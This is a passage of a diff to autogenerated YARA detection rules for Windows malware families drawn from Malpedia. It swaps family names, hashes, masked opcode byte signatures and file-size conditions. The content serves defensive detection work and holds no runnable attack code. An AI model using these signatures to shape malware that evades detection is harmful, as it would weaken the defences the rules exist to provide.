$sequence_30 = { 488b7c2408 498bc1 c3 4053 4883ec20 8bc1 498bd8 } - $sequence_31 = { 6685c0 75f5 8d7bfe 2bd6 8d5f02 668b4702 } - $sequence_32 = { 2bd6 8d5f02 668b4702 83c702 6685c0 75f4 } - $sequence_33 = { 6685c9 75f5 2bf2 68???????? 53 d1fe } - $sequence_34 = { 7510 488bcb ff15???????? b802000000 } - $sequence_35 = { 4533c0 c744242003000000 ba00000040 ff15???????? 488bd8 ff15???????? } - $sequence_36 = { 8bc1 2bc2 d1e8 03c2 c1e806 6bc05a } - $sequence_37 = { 7516 66837f0254 750f 66837f0641 7508 } - $sequence_38 = { 488bf8 4885c0 7410 ff15???????? } - $sequence_39 = { 48897c2430 488d4c2440 c744242802000000 4533c9 4533c0 c744242003000000 ba00000040 } - $sequence_40 = { 8b5c3050 ff15???????? 41b900300000 c744242040000000 } - $sequence_41 = { e8???????? 488bcf ff15???????? 8d4301 e9???????? } - $sequence_42 = { ff15???????? 66833f4e 7516 66837f0254 } - $sequence_43 = { 41b900300000 c744242040000000 448bc3 488bd6 } - $sequence_44 = { 84c0 746c e8???????? 488d0d63080000 e8???????? } + $sequence_0 = { 8b4610 c6040808 ff4610 8b4610 c6040100 e9???????? 8b4610 } + $sequence_1 = { eb18 2bf9 8d145501000000 2bc1 8bcb c1e905 2bd9 } + $sequence_2 = { 53 e8???????? 83c41c 85c0 0f8543050000 8b4320 8d55f0 } + $sequence_3 = { 68???????? ff15???????? 898530fdffff 85c0 0f8441010000 68???????? 8d8d6cfdffff } + $sequence_4 = { 56 8bf1 8d4de8 57 8bfa e8???????? 83781408 } + $sequence_5 = { 0fafce 3bc1 731b 8bf9 b900080000 2bce c1e905 } + $sequence_6 = { e8???????? c7465400000000 8bc6 8b4df4 64890d00000000 59 5e } + $sequence_7 = { c7856cfdffff07000000 66898558fdffff 8b8554fdffff c78568fdffff00000000 83f808 7213 40 } + $sequence_8 = { 8bf9 c745f82e000000 e8???????? 40 8bcf 50 8d45f8 } + $sequence_9 = { 8b8d40efffff 85c9 7414 8b11 8d851cefffff 3bc8 0f95c0 } condition: - 7 of them and filesize < 7450624 + 7 of them and filesize < 1220608 } -rule MALPEDIA_Win_Hdmr_Auto : FILE +rule MALPEDIA_Win_Tabmsgsql_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d7c2af72-912d-5503-a152-e44806d38df1" + id = "613cbea2-b3e6-59ad-af97-1c16f24a8ca2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hdmr" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hdmr_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tabmsgsql_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "ee139c0aa91276df8e246776ac0e0dc9525d3fadc5574673ef7224c9dd7d71ea" + logic_hash = "fea9841dfc3e899e511f6e59152b7eb3a1bf8ea0929e01fae7a33a41386cf162" score = 75 quality = 75 tags = "FILE" @@ -109319,32 +109518,32 @@ rule MALPEDIA_Win_Hdmr_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b06 8b9094000000 8bce ffd2 8b10 8bc8 } - $sequence_1 = { 337008 8955fc 33de 8b75f8 33fe 81e7ff00ff00 33780c } - $sequence_2 = { 2bf7 8bff 0fb719 0fb73c0e } - $sequence_3 = { 51 e8???????? 8bf0 89470c 8b450c 83c404 8bd6 } - $sequence_4 = { ffd7 83c614 ff4c240c 0f8562ffffff 33d2 68fe070000 52 } - $sequence_5 = { 0f84e1030000 6a00 6a00 6a00 } - $sequence_6 = { 7424 8b06 8b9094000000 8bce } - $sequence_7 = { 8d45cc 50 c745cce86b4100 e8???????? 8b7508 bf63736de0 393e } - $sequence_8 = { 56 8d3c8540d04100 e8???????? 83e01f 59 } - $sequence_9 = { 8bce ffd2 8b10 4f 57 8bc8 } + $sequence_0 = { e8???????? 83c404 ff15???????? 5e 33c0 5b 81c404d00700 } + $sequence_1 = { e9???????? 8b0d???????? 3bcb 0f8463feffff a1???????? 3bc3 0f8456feffff } + $sequence_2 = { 6a01 8bcb ff15???????? eb45 8b430c 83f81f 7704 } + $sequence_3 = { 83c9ff 33c0 8d951217fcff f2ae f7d1 2bf9 50 } + $sequence_4 = { 8b842430f50100 83c424 85c0 5f } + $sequence_5 = { 51 b9???????? 895dfc a2???????? e8???????? 3bc3 0f84d7000000 } + $sequence_6 = { f3a5 8bc8 33c0 83e103 f3a4 8bbc2438060000 83c9ff } + $sequence_7 = { 5b 83e103 b801000000 f3a4 } + $sequence_8 = { 3de8030000 a3???????? 7d0c c705????????e8030000 } + $sequence_9 = { 33c0 68???????? f2ae f7d1 2bf9 8d442434 8bd1 } condition: - 7 of them and filesize < 284672 + 7 of them and filesize < 163840 } -rule MALPEDIA_Win_Spyder_Auto : FILE +rule MALPEDIA_Win_Warlock_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3b0ab008-5fca-5304-bb77-2526da47aa2d" + id = "5e6c43cf-6cf3-5e2a-a16b-cb7d8e2e37a1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spyder_auto.yar#L1-L174" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warlock" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warlock_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "12d22cf7781abc3ab19a5f3d98a04aaf02d5caaba80e64280fab23edd5e8d3b7" + logic_hash = "39dc3d0e9802161f2f6843f6a22ec4febcc1ed616080a524da3e5c547a9f1dac" score = 75 quality = 75 tags = "FILE" @@ -109358,38 +109557,32 @@ rule MALPEDIA_Win_Spyder_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d057a150000 488905???????? 488d0590200000 488905???????? 488d0576150000 488905???????? } - $sequence_1 = { 488bc8 ff15???????? 488d15385f0000 488bce 488905???????? ff15???????? } - $sequence_2 = { 4181f9000000c0 7532 4585d2 756e 488d4b04 4c8d05563e0000 } - $sequence_3 = { 4c8d05fc890000 498bd4 488bcd e8???????? 85c0 } - $sequence_4 = { 486bd258 488b04c1 488d4c1010 48ff25???????? 48895c2408 57 } - $sequence_5 = { 4c8bd8 488905???????? 4885c0 7422 488d15795e0000 488bce ff15???????? } - $sequence_6 = { 488d0d68a10000 e8???????? 488d1584a10000 488d0d75a10000 e8???????? 90 } - $sequence_7 = { 443bce 753c 4585d2 7537 488d4b04 4c8d05173e0000 418d5216 } - $sequence_8 = { 6803010000 f3ab 66ab aa 8d442414 50 } - $sequence_9 = { 8b4c2414 81e2ffff0000 25ffff0000 52 8b542416 } - $sequence_10 = { ff15???????? 5f 5e b801000000 5b 81c47c150000 c3 } - $sequence_11 = { 8bec 8b4508 ff348570370910 ff15???????? 5d } - $sequence_12 = { c1f805 8d3c85204b0910 8bc3 83e01f } - $sequence_13 = { 8944241a 66895c2410 668944241e ff15???????? 8b542418 8b442416 } - $sequence_14 = { f3ab 8b8c248c150000 8d942488010000 66ab aa 8d842490150000 } - $sequence_15 = { b918000000 33c0 8d7c2431 885c2430 } + $sequence_0 = { 8b95c0f6ffff f724ba 0385ccf6ffff 83d200 01841dc0f8ffff 8b9de0f6ffff 8b85bcf8ffff } + $sequence_1 = { 894c2420 c16c242008 331cc574e44900 0fb6c1 8b4c2410 0fb6c9 8b04c571e44900 } + $sequence_2 = { 03c2 8bd0 c1e81a 2b442448 81e2ffffff03 89542430 89542444 } + $sequence_3 = { c70000000000 c7400800000000 c9 c20400 56 8bf1 8b8e80000000 } + $sequence_4 = { 6a34 e8???????? 8945e8 59 85c0 740d 57 } + $sequence_5 = { 50 8d4de8 c745fc04000000 e8???????? eb0a 6a01 8d4de8 } + $sequence_6 = { 80fb35 7e82 33c0 84db 0f95c0 05feff0000 e9???????? } + $sequence_7 = { 8b94249c000000 81c2feffff07 03c2 8bd0 c1e81a 81e2ffffff03 2b442458 } + $sequence_8 = { 0f94c1 2500180000 2d00100000 f7d8 1bc0 40 f7c300800000 } + $sequence_9 = { 668b4306 663b45e4 7513 c6062d 8d7e01 8bcb 89bd70ffffff } condition: - 7 of them and filesize < 1458176 + 7 of them and filesize < 1395712 } -rule MALPEDIA_Win_Shapeshift_Auto : FILE +rule MALPEDIA_Win_Ghole_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c0c5bb16-0064-5063-a167-3feadfc849ba" + id = "42011619-6775-5fd7-9f1a-e781b1936bb7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shapeshift_auto.yar#L1-L104" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghole_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "d57d4efbadfe762b0a6b1ab41967b0e572158e599e0e6d6d29d5b7411ccf5a23" + logic_hash = "0d47b012ca3e41e041f7c9334a8bf5ea912b5069ddcb6bf59ee419c3c1cf9dc4" score = 75 quality = 75 tags = "FILE" @@ -109403,17 +109596,19 @@ rule MALPEDIA_Win_Shapeshift_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 8985f4feffff 33db 6a05 ff15???????? 68???????? } - $sequence_1 = { 8d0d009c4100 ba1d000000 e8???????? 5a c3 8d542408 } - $sequence_2 = { 51 ff15???????? 8bf0 89b5ecfdffff } - $sequence_3 = { 6af6 ff15???????? 8b04bd38054200 834c0318ff 33c0 } - $sequence_4 = { 8bf0 e8???????? 83c404 8bf8 33c9 66660f1f840000000000 0fbf044d3cfa4100 } - $sequence_5 = { f30f5e85ccfdffff f30f5905???????? e8???????? 83bde8fdffff00 741f 3bc7 } - $sequence_6 = { e8???????? 85f6 8bf0 6a0c 7550 e8???????? } - $sequence_7 = { 8995e8fdffff 57 898df8fdffff 899df0fdffff c785ecfdffff00000000 0f86ef010000 } + $sequence_0 = { 48 89c7 e8???????? c745cc00000000 c745b800000000 eb14 c78540ffffffe9030000 } + $sequence_1 = { 8878e0 49 8be9 45 8be0 44 8bea } + $sequence_2 = { 89f8 f7d0 89d9 21c1 48 8b45d0 48 } + $sequence_3 = { 83ec30 48 897dd8 48 8975d0 48 8b45d0 } + $sequence_4 = { 7509 83bdecf6ffffff 7448 8b855cffffff 80cc01 89855cffffff } + $sequence_5 = { 48 8b4040 48 8945f0 48 8b45f0 48 } + $sequence_6 = { 8b5010 8b45f8 0345fc 89c0 48 01c2 48 } + $sequence_7 = { 8b4008 8b55e4 48 8b4de8 48 89ce 48 } + $sequence_8 = { 48 89c7 e8???????? 85c0 7515 8b55f8 48 } + $sequence_9 = { 48 8b1d???????? 48 8b55a0 48 8b45c0 48 } condition: - 7 of them and filesize < 303104 + 7 of them and filesize < 622592 } rule MALPEDIA_Win_Acehash_Auto : FILE { @@ -109454,18 +109649,18 @@ rule MALPEDIA_Win_Acehash_Auto : FILE condition: 7 of them and filesize < 2318336 } -rule MALPEDIA_Win_Penco_Auto : FILE +rule MALPEDIA_Win_Hopscotch_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6aee07a7-ef18-5814-98a9-4888b78c9e4c" + id = "e03bc4c7-2cba-5076-a6ca-4697985738a4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.penco" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.penco_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hopscotch" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hopscotch_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "cbd5d55ae946f04f495d8f2278cd17d368565e9345c264d195e742a52381e75b" + logic_hash = "9400f209885075e787eb0bd6132b5f0672b265a98357e610aebd52f7df050985" score = 75 quality = 75 tags = "FILE" @@ -109479,32 +109674,32 @@ rule MALPEDIA_Win_Penco_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33349500d83400 8bcf c1e918 33348d28ec3400 8b4c2410 0fb6d1 33349500d43400 } - $sequence_1 = { 75f6 8b542410 52 ff15???????? 6800c00000 6a00 56 } - $sequence_2 = { 51 8d95ecf0ffff 52 8b85b0fdffff 8d8c05e0fdffff 51 } - $sequence_3 = { 6800300000 8b9548feffff 52 6a00 ff15???????? 8945e4 } - $sequence_4 = { ff15???????? 68???????? 8b4de4 51 ff15???????? 6a02 } - $sequence_5 = { 8d8c245c020000 51 03f0 8d142e 68???????? 52 e8???????? } - $sequence_6 = { 69c0c4020000 c784059c96ffff4d000000 e9???????? c7851c94ffff00000000 b901000000 85c9 0f8409090000 } - $sequence_7 = { 8b4508 56 8d34c5c0c23400 833e00 7513 50 e8???????? } - $sequence_8 = { 3bc6 740b 3dea000000 0f85d8000000 8b6c2410 3bee 0f84da000000 } - $sequence_9 = { 8b349528ec3400 8b542414 894c241c 8b4c2410 c1e910 0fb6f9 3334bd28e83400 } + $sequence_0 = { 8d0480 8d0480 c1e002 50 ffd7 } + $sequence_1 = { 55 ffd3 8bf0 85f6 0f8569ffffff 68???????? e8???????? } + $sequence_2 = { a1???????? 83c420 85c0 5f 5e 5b } + $sequence_3 = { 6800800000 8b0d???????? 8b5150 52 ffd6 53 } + $sequence_4 = { 85c0 5f 5e 5b 7414 } + $sequence_5 = { 83c724 3bf0 72d8 eb2a 8b942430020000 8b4c2410 } + $sequence_6 = { c3 81ec08020000 8d442400 56 8d4c2408 } + $sequence_7 = { 6a21 50 e8???????? 83c408 c78424a400000002000000 8db42428010000 } + $sequence_8 = { 833d????????01 750d 8b442404 50 e8???????? 83c404 } + $sequence_9 = { 8b3d???????? 83c408 8d442408 50 ffd7 } condition: - 7 of them and filesize < 319488 + 7 of them and filesize < 1143808 } -rule MALPEDIA_Win_Atmspitter_Auto : FILE +rule MALPEDIA_Win_Catchamas_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6677a06d-f51d-5f9e-9075-cbbb34c35eda" + id = "8b847b40-e879-5e63-94f7-59f1fcf23399" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmspitter_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.catchamas_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "bc5ce97320d3edf2cd777ada69ace7755633451b31f436076d0e817156126e74" + logic_hash = "cfbaa74a75beb0fd45948dc9b52c0976cafb521d914a50e8e394b7e70fd341de" score = 75 quality = 75 tags = "FILE" @@ -109518,32 +109713,32 @@ rule MALPEDIA_Win_Atmspitter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c70009000000 e8???????? ebd1 8bc8 c1f905 8d3c8d60da4000 } - $sequence_1 = { 57 8bc2 c1f805 8b048560da4000 8bfa } - $sequence_2 = { c686c800000043 c6864b01000043 c7466850c44000 6a0d e8???????? 59 8365fc00 } - $sequence_3 = { ff15???????? 6a02 6a00 8bf8 6a00 57 } - $sequence_4 = { 7d0d 8a4c181c 888870c64000 40 } - $sequence_5 = { 50 68???????? e8???????? 83c408 68???????? e8???????? 8b4528 } - $sequence_6 = { 83f914 0f8798000000 0fb691b0854000 ff249588854000 } - $sequence_7 = { 0f8c260a0000 8d42e0 3c58 770f 0fbec2 0fbe8060914000 83e00f } - $sequence_8 = { 56 57 50 c745fc00000000 ffd3 } - $sequence_9 = { 53 8b1d???????? 56 57 50 c745fc00000000 } + $sequence_0 = { 84c9 75f1 833d????????ff 740c 8db42470100000 } + $sequence_1 = { 40 e8???????? 85db 7411 } + $sequence_2 = { 8bf1 897c2418 c644241c00 e8???????? 68???????? } + $sequence_3 = { 83d200 8955d0 7554 83f8ff } + $sequence_4 = { 6a14 81e300800000 ffd7 83e001 33c9 8bff baba000000 } + $sequence_5 = { ff15???????? 56 8be8 55 53 } + $sequence_6 = { 6a00 52 c745dc00000000 e8???????? 8b45dc 6a00 8d4de8 } + $sequence_7 = { 8b45e0 7409 e8???????? 8bfc eb32 83c9ff } + $sequence_8 = { 66894e14 5e 8b8c2404080000 33cc e8???????? } + $sequence_9 = { e8???????? 682000cc00 53 53 56 57 55 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Romeos_Auto : FILE +rule MALPEDIA_Win_Racket_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "57e36ea9-25df-5535-9507-4e3e8861391a" + id = "f3a5d01f-f04e-5cab-9782-744a7bfd597c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.romeos_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.racket" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.racket_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "b103a70d5f0d023abb4fa14da56c910d4eba9e43552b97af05cf92b055758e46" + logic_hash = "60433cbd73972642cf68f927363d7c0cddb01db6fa6acbb68279911c92eddf9a" score = 75 quality = 75 tags = "FILE" @@ -109557,32 +109752,32 @@ rule MALPEDIA_Win_Romeos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5e 5d 5b 81c438200000 c20400 5f 5e } - $sequence_1 = { 83c408 807c24480e 7406 43 83fb08 7cb6 e8???????? } - $sequence_2 = { 85c0 0f85ef000000 85db 751d 807c244802 0f85e0000000 } - $sequence_3 = { 50 bd30000000 e8???????? 8bbc2454200000 } - $sequence_4 = { 83c408 807c24480e 7406 43 } - $sequence_5 = { 7406 43 83fb08 7cb6 e8???????? 99 } - $sequence_6 = { 6a16 8d4c244c 6800200000 51 } - $sequence_7 = { 81c438200000 c20400 5f 5e } - $sequence_8 = { 8bf1 57 b9ff070000 33c0 8d7c2449 c644244800 6a16 } - $sequence_9 = { 0f850d010000 33db 6a16 8d4c244c 6800200000 } + $sequence_0 = { 837e2400 750a c6460c00 8b35???????? 68???????? 57 ffd3 } + $sequence_1 = { c1e803 2401 837b0400 884303 751b 6a00 6a00 } + $sequence_2 = { 6a00 c706???????? 897e08 6a00 c7460c00000000 c7461000000000 6861080000 } + $sequence_3 = { 8945f0 56 50 8d45f4 64a300000000 8b4510 85c0 } + $sequence_4 = { 8987e4fdffff 8b86e0fdffff 8987e8fdffff 8b86e4fdffff 8987ecfdffff 8b86e8fdffff 8987f0fdffff } + $sequence_5 = { 57 53 56 8d4a1c e8???????? 5f 5b } + $sequence_6 = { 895dd0 8b7508 33ff 897dcc 8975bc 3b750c 0f8ddd070000 } + $sequence_7 = { 894dfc 394db8 0f8c37050000 8b5514 be01000000 2bd0 894df4 } + $sequence_8 = { f7c700000002 7446 8b0a 3b4a04 752a 837a1000 7517 } + $sequence_9 = { ffb548ffffff 0f57c0 c745ac00000000 8d4da4 660fd645a4 e8???????? } condition: - 7 of them and filesize < 294912 + 7 of them and filesize < 985088 } -rule MALPEDIA_Win_Pathloader_Auto : FILE +rule MALPEDIA_Win_Brutpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6e986434-599f-5205-bbd3-c4644fef6a44" + id = "bb6abccd-59b3-5a30-9e67-ccbe498737a5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pathloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pathloader_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.brutpos_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "7556d740969ba30806ff23ef7c71f55747c108deea39b5487e7d46d63a258306" + logic_hash = "89d0bc6a7e52ba9f63dface96ebbf483b03be0cbf8144ed32f3b88bf360b4eda" score = 75 quality = 75 tags = "FILE" @@ -109596,32 +109791,32 @@ rule MALPEDIA_Win_Pathloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7742 498bc8 e8???????? 4c897710 48c747180f000000 } - $sequence_1 = { 41ffd0 498986d8000000 488d55c8 48837de008 480f4355c8 4533c9 450fb786a0000000 } - $sequence_2 = { 7524 488d0d5e940200 e8???????? 85c0 7510 488d0d66940200 e8???????? } - $sequence_3 = { 488d15ea240100 e8???????? 8bcb 4885c0 740c } - $sequence_4 = { 0fb705???????? 6689442460 0fb605???????? 88442462 448bc1 4183ff02 } - $sequence_5 = { 4c63d2 488bd9 498bc2 458bf1 48c1f806 488d0dc0a20100 } - $sequence_6 = { 57 4883ec20 e8???????? 488b05???????? 488d1d2ffe0100 4885c0 480f45d8 } - $sequence_7 = { 488bfa 488bd9 49894ba8 498953b0 4533f6 45897398 } - $sequence_8 = { 410fb641ff 440f47c2 4533c2 4569d093010001 84c0 75d7 4181fad26d58ad } - $sequence_9 = { e8???????? 84c0 0f8422ffffff 44383d???????? f20f1005???????? 0fb705???????? } + $sequence_0 = { 59 58 83c004 83e904 8808 } + $sequence_1 = { 03c2 034508 2938 83e902 75e8 ebd9 5e } + $sequence_2 = { 8d5b18 8b5b60 03d8 52 8b35???????? } + $sequence_3 = { 6681f9df77 7412 0f31 8bd8 } + $sequence_4 = { 8bd0 ad 8bc8 83e908 66ad 6685c0 740c } + $sequence_5 = { 8d7c38fc baffffffff 83c704 57 } + $sequence_6 = { 66ad 6685c0 740c 25ff0f0000 03c2 034508 } + $sequence_7 = { 52 e8???????? 59 8b09 8bd1 } + $sequence_8 = { c1e202 03d3 8b12 03d0 } + $sequence_9 = { 8b5508 8b4204 0fb70a 50 51 807401ff97 } condition: - 7 of them and filesize < 464896 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Typeframe_Auto : FILE +rule MALPEDIA_Win_Icefog_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "54b5c61d-baac-5ee7-bf22-feb7211e94de" + id = "5a2327d1-90cc-5721-943f-064b1c43e2e0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.typeframe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.typeframe_auto.yar#L1-L148" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icefog_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "80d5f324e45f06373a108fe4a18abca87604cdaaeb894c2ac4120a591e037164" + logic_hash = "ccfebce12d112e2d237d6de3048b8cc676f213fd05f617884709a0f4f9ea859a" score = 75 quality = 75 tags = "FILE" @@ -109635,96 +109830,32 @@ rule MALPEDIA_Win_Typeframe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 004fb5 0500cccccc cc 48895c2410 } - $sequence_1 = { 002d???????? b505 00eb b405 } - $sequence_2 = { 004775 0300 3c75 0300 } - $sequence_3 = { 0026 b505 004fb5 0500cccccc } - $sequence_4 = { 006a0f 57 8bf0 e8???????? } - $sequence_5 = { 0004af 0300 f6ae0300e8ae 0300 } - $sequence_6 = { 01442468 8d4c0f78 83e978 8d44242c } - $sequence_7 = { 0056e5 0400 af e504 } - $sequence_8 = { 0102 0318 18040506071818 1818 } - $sequence_9 = { 008601010000 0fb69601010000 410fb60c30 0fb60432 } - $sequence_10 = { 0108 83c004 4a 75cd } - $sequence_11 = { 014424fc 83ec04 2bc1 58 0f83be000000 } - $sequence_12 = { 008501010000 410fb60c28 0fb69501010000 0fb6042a } - $sequence_13 = { 01442408 c74424fc00000000 014c24fc 83ec04 } - $sequence_14 = { 01442418 8d6c282c 83ed2c eb04 } - $sequence_15 = { 014424fc 83ec04 2bc2 58 720c } - - condition: - 7 of them and filesize < 2125824 -} -rule MALPEDIA_Win_Jaku_Auto : FILE -{ - meta: - description = "autogenerated rule brought to you by yara-signator" - author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5711a497-d28d-5b3a-91bd-62abf5157c12" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jaku_auto.yar#L1-L277" - license_url = "N/A" - logic_hash = "bc36249d8d7142a776a25d525229620582afb8014b8d26d03d6dad8843321c84" - score = 75 - quality = 73 - tags = "FILE" - version = "1" - tool = "yara-signator v0.6.0" - signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { 3945f8 0f94c0 eb02 32c0 } - $sequence_1 = { 8bcf 83e107 d3eb 2bf9 895df4 83ff20 } - $sequence_2 = { b83c800000 e8???????? 53 56 57 6a38 8d45c4 } - $sequence_3 = { 33db 894618 895df4 c70601000000 e9???????? 8b4620 } - $sequence_4 = { 83c204 8bfa d3e7 8b4e14 6609beb8160000 } - $sequence_5 = { 7573 8bc3 83e00f 3c08 0f85a6000000 8b4624 83ef04 } - $sequence_6 = { 880c07 8b02 8a4df8 884c0701 8b0a 8bc6 2bc1 } - $sequence_7 = { 2bf8 83c410 85ff 7fd7 5b 56 } - $sequence_8 = { 68???????? ff15???????? c3 b8???????? e8???????? 83ec2c } - $sequence_9 = { ff742408 e8???????? c20800 8bc1 } - $sequence_10 = { 53 68000000a0 6a03 53 } - $sequence_11 = { 7507 b800308000 eb02 33c0 } - $sequence_12 = { 7508 83c8ff e9???????? 8b839f830000 } - $sequence_13 = { 6a01 03c3 68???????? 50 e8???????? 83c40c } - $sequence_14 = { 5b c3 55 8bec 833d????????00 53 56 } - $sequence_15 = { 55 56 57 6880020000 } - $sequence_16 = { 75dd 57 e8???????? 59 } - $sequence_17 = { 0245fd 3245fe 8a4dff d2c8 } - $sequence_18 = { 50 e8???????? 59 8b4e2c } - $sequence_19 = { 85ff 897c240c 750c 5f 5e b801000000 5b } - $sequence_20 = { 56 e8???????? 59 8b4620 } - $sequence_21 = { e8???????? 59 eb57 53 } - $sequence_22 = { 016c242c 8b44242c 5f 5e 5d } - $sequence_23 = { 50 894528 e8???????? 83c410 8b3d???????? 53 } - $sequence_24 = { 53 53 53 6aff ff7528 bee9fd0000 } - $sequence_25 = { 56 57 8965f0 33ff 897dfc c645fc01 837d1c10 } - $sequence_26 = { 8bbe9b830000 33db 8d4f01 43 } - $sequence_27 = { 6a00 8b9580faffff 837a3000 750b 8b8db4f9ffff 83c904 eb06 } - $sequence_28 = { 6a00 53 56 e8???????? 83c41c 8b55f8 8345f8ff } + $sequence_0 = { 895de0 c745e400ff0000 e9???????? 8b5e04 c1e310 895de0 c745e40000ff00 } + $sequence_1 = { e8???????? 8b759c 53 c60300 e8???????? 8b45b4 83c404 } + $sequence_2 = { 8b4d0c 50 51 e8???????? 83c408 8bf0 5e } + $sequence_3 = { c6470300 8b7d08 75a0 8b5d0c 8b45f4 015f0c 5f } + $sequence_4 = { b807000000 5b 8be5 5d c3 8945fc 394604 } + $sequence_5 = { 8b4dfc 50 51 e8???????? 56 8947f6 e8???????? } + $sequence_6 = { c3 56 57 e8???????? 83c408 894590 85c0 } + $sequence_7 = { dd8570feffff dec3 d9ca dd9560feffff d8d1 dfe0 ddd9 } + $sequence_8 = { a1???????? 891490 8b0d???????? 42 3bd1 7ced a1???????? } + $sequence_9 = { 8b4508 85c0 7416 56 8b7010 50 e8???????? } condition: - 7 of them and filesize < 2220032 + 7 of them and filesize < 1187840 } -rule MALPEDIA_Win_Spica_Auto : FILE +rule MALPEDIA_Win_Mole_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = 